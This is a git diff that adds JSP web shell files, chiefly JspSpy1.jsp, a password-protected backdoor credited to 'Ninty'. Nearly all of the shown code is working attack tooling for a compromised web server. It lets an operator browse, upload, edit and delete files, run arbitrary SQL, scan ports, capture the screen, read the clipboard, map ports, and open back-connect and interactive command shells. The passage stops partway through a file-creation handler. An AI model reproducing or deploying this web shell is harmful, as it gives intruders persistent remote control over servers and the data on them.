+ins.put("unpack",new UnPackInvoker());
+ins.put("vmp",new VmpInvoker());
+ins.put("vbc",new VbcInvoker());
+ins.put("backConnect",new BackConnectInvoker());
+ins.put("jspEnv",new JspEnvInvoker());
+ins.put("smp",new SmpInvoker());
+ins.put("mapPort",new MapPortInvoker());
+ins.put("top",new TopInvoker());
+ins.put("vso",new VOnLineShellInvoker());
+ins.put("online",new OnLineInvoker());
+}
+%>
+<%
+try {
+String o = request.getParameter("o");
+if (!Util.isEmpty(o)) {
+Invoker in = ins.get(o);
+if (in == null) {
+response.sendRedirect(SHELL_NAME+"?o=index");
+} else {
+if (in.doBefore()) {
+String path = request.getParameter("folder");
+if (!Util.isEmpty(path))
+session.setAttribute(CURRENT_DIR,path);
+ins.get("before").invoke(request,response,session);
+ins.get("script").invoke(request,response,session);
+ins.get("top").invoke(request,response,session);
+}
+in.invoke(request,response,session);
+if (!in.doAfter()) {
+return;
+}else{
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+}
+} else {
+response.sendRedirect(SHELL_NAME+"?o=index");
+}					
+} catch (Exception e) {
+ByteArrayOutputStream bout = new ByteArrayOutputStream();
+e.printStackTrace(new PrintStream(bout));
+session.setAttribute(CURRENT_DIR,SHELL_DIR);
+Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
        "),"left");
+bout.close();
+out.flush();
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+%>
\ No newline at end of file
diff --git a/jsp/JspSpy1.jsp b/jsp/JspSpy1.jsp
new file mode 100644
index 0000000..f167745
--- /dev/null
+++ b/jsp/JspSpy1.jsp
@@ -0,0 +1,2344 @@
+锘<%@page pageEncoding="utf-8"%>
+<%@page import="java.io.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.util.regex.*"%>
+<%@page import="java.sql.*"%>
+<%@page import="java.nio.charset.*"%>
+<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
+<%@page import="java.text.*"%>
+<%@page import="java.net.*"%>
+<%@page import="java.util.zip.*"%>
+<%@page import="java.awt.*"%>
+<%@page import="java.awt.image.*"%>
+<%@page import="javax.imageio.*"%>
+<%@page import="java.awt.datatransfer.DataFlavor"%>
+<%@page import="java.util.prefs.Preferences"%>
+<%!
+/**
+* Code By Ninty
+* Date 2009-12-17
+* Blog http://www.Forjj.com/
+* Yue . I Love You.
+*/
+private static final String PW = "ninty"; //password
+private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
+private static final String REQUEST_CHARSET = "ISO-8859-1";
+private static final String PAGE_CHARSET = "UTF-8";
+private static final String CURRENT_DIR = "currentdir";
+private static final String MSG = "SHOWMSG";
+private static final String PORT_MAP = "PMSA";
+private static final String DBO = "DBO";
+private static final String SHELL_ONLINE = "SHELL_ONLINE";
+private static String SHELL_NAME = "";
+private static String WEB_ROOT = null; 
+private static String SHELL_DIR = null;
+public static Map ins = new HashMap();
+private static class MyRequest extends HttpServletRequestWrapper {
+public MyRequest(HttpServletRequest req) {
+super(req);
+}
+public String getParameter(String name) {
+try {
+String value = super.getParameter(name);
+if (name == null)
+return null;
+return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
+} catch (Exception e) {
+return null;
+}
+}
+}
+private static class DBOperator{
+private Connection conn = null;
+private Statement stmt = null;
+private String driver;
+private String url;
+private String uid;
+private String pwd;
+public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
+this(driver,url,uid,pwd,false);
+}
+public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
+Class.forName(driver);
+if (connect)
+this.conn = DriverManager.getConnection(url,uid,pwd);
+this.url = url;
+this.driver = driver;
+this.uid = uid;
+this.pwd = pwd;
+}
+public void connect() throws Exception{
+this.conn = DriverManager.getConnection(url,uid,pwd);
+}
+public Object execute(String sql) throws Exception {
+if (isValid()) {
+stmt = conn.createStatement();
+if (stmt.execute(sql)) {
+return stmt.getResultSet();
+} else {
+return stmt.getUpdateCount();
+}
+}
+throw new Exception("Connection is inValid.");
+}
+public void closeStmt() throws Exception{
+if (this.stmt != null)
+stmt.close();
+}
+public boolean isValid() throws Exception {
+return conn != null && !conn.isClosed();
+}
+public void close() throws Exception {
+if (isValid()) {
+closeStmt();
+conn.close();
+}
+}
+public boolean equals(Object o) {
+if (o instanceof DBOperator) {
+DBOperator dbo = (DBOperator)o;
+return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
+}
+return false;
+}
+}
+private static class StreamConnector extends Thread {
+private InputStream is;
+private OutputStream os;  
+public StreamConnector( InputStream is, OutputStream os ){
+this.is = is;
+this.os = os;
+}			  
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[8192];
+int length;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+out.write( buffer, 0, length );
+out.flush();
+}
+} catch(Exception e){}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){}
+}
+}
+private static class OnLineProcess {
+private String cmd = "first";
+private Process pro;
+public OnLineProcess(Process p){
+this.pro = p;
+}
+public void setPro(Process p) {
+this.pro = p;
+}
+public void setCmd(String c){
+this.cmd = c;
+}
+public String getCmd(){
+return this.cmd;
+}
+public Process getPro(){
+return this.pro;
+}
+public void stop(){
+this.pro.destroy();
+}
+}
+private static class OnLineConnector extends Thread {
+private OnLineProcess ol = null;
+private InputStream is;
+private OutputStream os;
+private String name;
+public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
+this.is = is;
+this.os = os;
+this.name = name;
+this.ol = ol;
+}
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[128];
+if(this.name.equals("exeRclientO")) {
+//from exe to client
+int length = 0;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+String str = new String(buffer, 0, length);
+str = str.replace("&","&").replace("<","<").replace(">",">");
+str = str.replace(""+(char)13+(char)10,"
        ");
+str = str.replace("\n","
        ");
+out.write(str.toCharArray(), 0, str.length());
+out.flush();
+}
+} else {
+//from client to exe
+while(true) {
+while(this.ol.getCmd() == null) {
+Thread.sleep(500);
+}
+if (this.ol.getCmd().equals("first")) {
+this.ol.setCmd(null);
+continue;
+}
+this.ol.setCmd(this.ol.getCmd() + (char)10);
+char[] arr = this.ol.getCmd().toCharArray();
+out.write(arr,0,arr.length);
+out.flush();
+this.ol.setCmd(null);
+}
+}
+} catch(Exception e){
+}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){
+}
+}
+}
+private static class Table{
+private ArrayList rows = null;
+private boolean echoTableTag = false;
+public void setEchoTableTag(boolean v) {
+this.echoTableTag = v;
+}
+public Table(){
+this.rows = new ArrayList();
+}
+public void addRow(Row r) {
+this.rows.add(r);
+}
+public String toString(){
+StringBuilder html = new StringBuilder();
+if (echoTableTag)
+html.append("");
+for (Row r:rows) {
+html.append("");
+for (Column c:r.getColumns()) {
+html.append("");
+}
+html.append("");
+}
+if (echoTableTag)
+html.append("
        ");
+String vv = Util.htmlEncode(Util.getStr(c.getValue()));
+if (vv.equals(""))
+vv = " ";
+html.append(vv);
+html.append("
        ");
+return html.toString();
+}
+}
+private static class Row{
+private ArrayList cols = null;
+public Row(){
+this.cols = new ArrayList();
+}
+public void addColumn(Column n) {
+this.cols.add(n);
+}
+public ArrayList getColumns(){
+return this.cols;
+}
+}
+private static class Column{
+private String value;
+public Column(String v){
+this.value = v;
+}
+public String getValue(){
+return this.value;
+}
+}
+private static class Util{
+public static boolean isEmpty(String s) {
+return s == null || s.trim().equals("");
+}
+public static boolean isEmpty(Object o) {
+return o == null || isEmpty(o.toString());
+}
+public static String getSize(long size,char danwei) {
+if (danwei == 'M') {
+double v =  formatNumber(size / 1024.0 / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'G');
+}else {
+return v + "M";
+}
+} else if (danwei == 'G') {
+return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
+} else if (danwei == 'K') {
+double v = formatNumber(size / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'M');
+} else {
+return v + "K";
+}
+} else if (danwei == 'B') {
+if (size > 1024) {
+return getSize(size,'K');
+}else {
+return size + "B";
+}
+}
+return ""+0+danwei;
+}
+public static double formatNumber(double value,int l) {
+NumberFormat format = NumberFormat.getInstance();
+format.setMaximumFractionDigits(l);
+format.setGroupingUsed(false);
+return new Double(format.format(value));
+}
+public static boolean isInteger(String v) {
+if (isEmpty(v))
+return false;
+return v.matches("^\\d+$");
+}
+public static String formatDate(long time) {
+SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
+return format.format(new java.util.Date(time));
+}
+public static String convertPath(String path) {
+return path != null ? path.replace("\\","/") : "";
+}
+public static String htmlEncode(String v) {
+if (isEmpty(v))
+return "";
+return v.replace("&","&").replace("<","<").replace(">",">");
+}
+public static String getStr(String s) {
+return s == null ? "" :s;
+}
+public static String getStr(Object s) {
+return s == null ? "" :s.toString();
+}
+public static String exec(String regex, String str, int group) {
+Pattern pat = Pattern.compile(regex);
+Matcher m = pat.matcher(str);
+if (m.find())
+return m.group(group);
+return null;
+}
+public static void outMsg(Writer out,String msg) throws Exception {
+outMsg(out,msg,"center");
+}
+public static void outMsg(Writer out,String msg,String align) throws Exception {
+if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
+msg = "Can Not Find The Driver!
        " + msg;
+out.write("
        "+msg+"
        ");
+}
+}
+private static class UploadBean {
+private String fileName = null;
+private String suffix = null;
+private String savePath = "";
+private ServletInputStream sis = null;
+private byte[] b = new byte[1024];
+public UploadBean() {
+}
+public void setSavePath(String path) {
+this.savePath = path;
+}
+public void parseRequest(HttpServletRequest request) throws IOException {
+sis = request.getInputStream();
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!= -1) {
+s = new String(b, 0, a,PAGE_CHARSET);
+if ((k = s.indexOf("filename=\""))!= -1) {
+s = s.substring(k + 10);
+k = s.indexOf("\"");
+s = s.substring(0, k);
+File tF = new File(s);
+if (tF.isAbsolute()) {
+fileName = tF.getName();
+} else {
+fileName = s;
+}
+k = s.lastIndexOf(".");
+suffix = s.substring(k + 1);
+upload();
+}
+}
+}
+private void upload() {
+try {
+FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!=-1) {
+s = new String(b, 0, a);
+if ((k = s.indexOf("Content-Type:"))!=-1) {
+break;
+}
+}
+sis.readLine(b,0,b.length);
+while ((a = sis.readLine(b,0,b.length)) != -1) {
+s = new String(b, 0, a);
+if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
+break;
+}
+out.write(b, 0, a);
+}
+out.close();
+} catch (IOException ioe) {
+ioe.printStackTrace();
+}
+}
+}
+%>
+<%
+SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
+String myAbsolutePath = application.getRealPath(request.getServletPath());
+if (Util.isEmpty(myAbsolutePath)) {//for weblogic
+SHELL_NAME = request.getServletPath();
+myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
+SHELL_NAME=request.getContextPath()+SHELL_NAME;
+WEB_ROOT = new File(application.getResource("/").getPath()).toString();
+} else {
+WEB_ROOT = application.getRealPath("/");
+}
+SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
+if (session.getAttribute(CURRENT_DIR) == null)
+session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
+request = new MyRequest(request);
+if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
+String o = request.getParameter("o");
+if (o != null &&  o.equals("login")) {
+ins.get("login").invoke(request,response,session);
+return;
+} else if (o != null && o.equals("vLogin")) {
+ins.get("vLogin").invoke(request,response,session);
+return;
+} else {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+}
+}
+%>
+<%!
+private static interface Invoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
+public boolean doBefore();
+public boolean doAfter();
+}
+private static class DefaultInvoker implements Invoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+}
+public boolean doBefore(){
+return true;
+}
+public boolean doAfter() {
+return true;
+}
+}
+private static class ScriptInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");	
+
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BeforeInvoker extends  DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("JspSpy Codz By - Ninty");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class AfterInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DeleteBatchInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (!Util.isEmpty(files)) {
+String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
+String[] arr = files.split(",");
+for (String fs:arr) {
+File f = new File(currentDir,fs);
+f.delete();
+}
+}
+JSession.setAttribute(MSG,"Delete Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ClipBoardInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        System Clipboard »
        "+
+"
        ");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
        "+
+"          "+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VRemoteControlInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        Remote Control »
        "+
+"           Speed(Second , dont be so fast)    Can Not Control Yet."+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//GetScreen
+private static class GcInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
+Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
+BufferedImage img = new Robot().createScreenCapture(rec);
+response.setContentType("image/jpeg");
+ImageIO.write(img,"jpg",response.getOutputStream());
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VPortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+if (Util.isEmpty(ip))
+ip = "127.0.0.1";
+if (Util.isEmpty(ports))
+ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
+if (Util.isEmpty(timeout)) 
+timeout = "2";
+out.println("
        "+
+"
        PortScan >>
        "+
+"
        "+
+"
        "+
+"IP :  Port :  Timeout 锛堢锛 :  "+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class PortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+ins.get("vPortScan").invoke(request,response,JSession);
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+int iTimeout = 0;
+if (Util.isEmpty(ip) || Util.isEmpty(ports))
+return;
+if (!Util.isInteger(timeout)) {
+timeout = "2";
+}
+iTimeout = Integer.parseInt(timeout);
+Map rs = new LinkedHashMap();
+String[] portArr = ports.split(",");
+for (String port:portArr) {
+try {
+Socket s = new Socket();
+s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
+s.close();
+rs.put(port,"Open");
+} catch (Exception e) {
+rs.put(port,"Close");
+}
+}
+out.println("
        ");
+Set> entrySet = rs.entrySet();
+for (Map.Entry e:entrySet) {
+String port = e.getKey();
+String value = e.getValue();
+out.println(ip+" : "+port+" ................................. "+value+"
        ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VConnInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object obj = JSession.getAttribute(DBO);
+if (obj == null || !((DBOperator)obj).isValid()) {
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//DBConnect
+private static class DbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String driver = request.getParameter("driver");
+String url = request.getParameter("url");
+String uid = request.getParameter("uid");
+String pwd = request.getParameter("pwd");
+String sql = request.getParameter("sql");
+String selectDb = request.getParameter("selectDb");
+if (selectDb == null)
+selectDb = JSession.getAttribute("selectDb").toString();
+else
+JSession.setAttribute("selectDb",selectDb);
+Object dbo = JSession.getAttribute(DBO);
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+if (dbo != null)
+((DBOperator)dbo).close();
+dbo = new DBOperator(driver,url,uid,pwd,true);
+} else {
+if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
+DBOperator oldDbo = (DBOperator)dbo;
+dbo = new DBOperator(driver,url,uid,pwd);
+if (!oldDbo.equals(dbo)) {
+((DBOperator)oldDbo).close();
+((DBOperator)dbo).connect();
+} else {
+dbo = oldDbo;
+}
+}
+} 
+DBOperator Ddbo = (DBOperator)dbo;
+JSession.setAttribute(DBO,Ddbo);
+Util.outMsg(out,"Connect To DataBase Success!");
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+out.println("
        "+
+"
        Run SQL query/queries on database :
        ");	
+} catch (Exception e) {
+//e.printStackTrace();
+throw e;
+}
+}
+}
+private static class ExecuteSQLInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String sql = request.getParameter("sql");
+String db = request.getParameter("selectDb");
+Object dbo = JSession.getAttribute(DBO);
+if (!Util.isEmpty(sql)) {
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+response.sendRedirect(SHELL_NAME+"?o=vConn");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+Object obj = ((DBOperator)dbo).execute(sql);
+if (obj instanceof ResultSet) {
+ResultSet rs = (ResultSet)obj;
+ResultSetMetaData meta = rs.getMetaData();
+int colCount = meta.getColumnCount();
+out.println("
        Query#0 : "+Util.htmlEncode(sql)+"
        ");
+out.println("");
+for (int i=1;i<=colCount;i++) {
+out.println("");
+}
+out.println("");
+Table tb = new Table();
+while(rs.next()) {
+Row r = new Row();
+for (int i = 1;i<=colCount;i++) {
+r.addColumn(new Column(rs.getString(i)));
+}
+tb.addRow(r);
+}
+out.println(tb.toString());
+out.println("
        "+meta.getColumnName(i)+"
        "+meta.getColumnTypeName(i)+"
        ");
+rs.close();
+((DBOperator)dbo).closeStmt();
+} else {
+out.println("
        affected rows : "+obj+"
        ");
+}
+}
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VLoginInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+"	  
        Password: "+
+"        "+
+"        "+
+"        "+
+"        

        "+
+"	  "+
+"Copyright © 2009 NinTy www.Forjj.com
        "+
+"    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class LoginInvoker extends DefaultInvoker{
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String inputPw = request.getParameter("pw");
+if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+} else {
+JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MyComparator implements Comparator{
+public int compare(File f1,File f2) {
+if (f1 != null && f2!= null) {
+if (f1.isDirectory()) {
+if (f2.isDirectory()) {
+return f1.getName().compareTo(f2.getName());
+} else {
+return -1;
+}
+} else { 
+if (f2.isDirectory()) {
+return 1;
+} else {
+return  f1.getName().compareTo(f2.getName());
+}
+}
+}
+return 0;
+}
+}
+private static class FileListInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("folder");
+if (Util.isEmpty(path))
+path = JSession.getAttribute(CURRENT_DIR).toString();
+
+JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
+File file = new File(path);
+if (!file.exists()) {
+throw new Exception(path+"Dont Exists !");
+}
+JSession.setAttribute(CURRENT_DIR,path);
+File[] list = file.listFiles();
+Arrays.sort(list,new MyComparator());
+out.println("
        ");
+String cr = null;
+try {
+cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
+}catch(Exception e) {
+cr = "/";
+}
+File currentRoot = new File(cr);
+out.println("
        File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"
        ");
+out.println("
        "+
+""+
+"  "+
+"    "+
+"	"+
+"    "+
+"  "+
+"
        Current Directory  
        "+
+"
        ");
+out.println(""+
+""+
+""+
+""+
+"  "+
+"  "+
+"  "+
+"  "+
+"  "+
+"");
+if (file.getParent() != null) {
+out.println(""+
+""+
+""+
+"");	
+}
+int dircount = 0;
+int filecount = 0;
+for (File f:list) {
+if (f.isDirectory()) {
+dircount ++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+} else {
+filecount++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+}
+}
+out.println(""+
+"  "+
+"  "+
+"
        "+
+"
         
        "+
+"Web Root"+
+" | Shell Directory"+
+" | New Directory | New File"+
+" | ");
+File[] roots = file.listRoots();
+for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")");
+if (i != roots.length -1) {
+out.println("|");
+} 
+}
+out.println("
         NameLast ModifiedSizeRead/Write/Execute 
        =Goto Parent
        0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"Del | Move | Pack
        "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+
+""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+""+
+"Edit | "+
+"Down | "+
+"Copy | "+
+"Move | "+
+"Property");
+if (f.getName().endsWith(".zip")) {
+out.println(" | UnPack");
+} else if (f.getName().endsWith(".rar")) {
+out.println(" | UnPack");
+} else {
+out.println(" | Pack");
+}
+out.println("
         Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
        ");
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class LogoutInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object dbo = JSession.getAttribute(DBO);
+if (dbo != null)
+((DBOperator)dbo).close();
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+Object online = JSession.getAttribute(SHELL_ONLINE);
+if (online != null)
+((OnLineProcess)online).stop();
+JSession.invalidate();
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class UploadInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+UploadBean fileBean = new UploadBean();
+response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.parseRequest(request);
+JSession.setAttribute(MSG,"Upload File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CopyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String src = request.getParameter("src");
+String to = request.getParameter("to");
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
+BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
+byte[] d = new byte[1024];
+int len = input.read(d);
+while(len != -1) {
+output.write(d,0,len);
+len = input.read(d);
+}
+output.close();
+input.close();
+JSession.setAttribute(MSG,"Copy File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BottomInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+response.getWriter().println("
        Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VCreateFileInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (!f.isAbsolute()) {
+String oldPath = path;
+path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path+="/";
+path+=oldPath;
+f = new File(path);
+f.createNewFile();
+} else {
+f.createNewFile();
+}
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (f.exists()) {
+BufferedReader reader = new BufferedReader(new FileReader(f));
+StringBuilder content = new StringBuilder();
+String s = reader.readLine();
+while (s != null) {
+content.append(s+"\r\n");
+s = reader.readLine();
+}
+reader.close();
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CreateFileInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+String content = request.getParameter("filecontent");
+
